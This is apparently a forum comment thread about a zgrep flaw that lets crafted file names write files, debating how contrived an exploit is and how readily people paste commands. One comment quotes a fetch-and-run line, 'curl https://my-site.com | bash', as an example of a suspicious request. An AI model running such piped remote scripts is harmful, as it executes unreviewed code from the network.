3 ms·
The exploit would have to be a bit contrived. There aren't, to my knowledge, common programs or setups that would cause this to matter. This would probably be
by TheDong 5y ago
The exploit would have to be a bit contrived.
There aren't, to my knowledge, common programs or setups that would cause this to matter.
This would probably be used for social engineering at best, where the attacker convinces a victim to "hey, git clone my repo, and then run zgrep "bad string" * for some contrived reason"
Someone who's trying to assist someone else on discord or whatever probably won't consider running "zgrep" in an attacker controlled directory dangerous, so they might do it, while if the attacker said "I need help, curl https://my-site.com https://my-site.com | bash to repro", the victim would absolutely not do it.
- AnotherGoodName 5y agoThe thing i don't get is the statement "Attack Vector Network" in the advisory as well at the statement it allows a remote attacker to write files. I don't understand the bar to be called a Network Attack Vector. Surely there's more to this than asking the user to run shell commands right?
- cjbprime 5y agoIt sounds like if a web service allowed a user to upload a file with attacker-chosen filename, which it will then run zgrep on, it would be vulnerable. Perhaps that's why?
- oefrha 5y ago> while if the attacker said "I need help, curl https://my-site.com https://my-site.com | bash to repro", the victim would absolutely not do it. You’d be surprised. I wrote a Postfix tutorial ages ago and left my real email address in the To: of an example test email. I subsequently got a lot of emails from root@s with the exact same title and body over the years. Too many people copy paste anything labeled as instruction without a second thought.
- Beltiras 5y agoThat's actually the suggested installation mechanism for a lot of software. Most recent I can think of were some AWS cli tools, as delivered from AWS. Height of irresponsibility imo.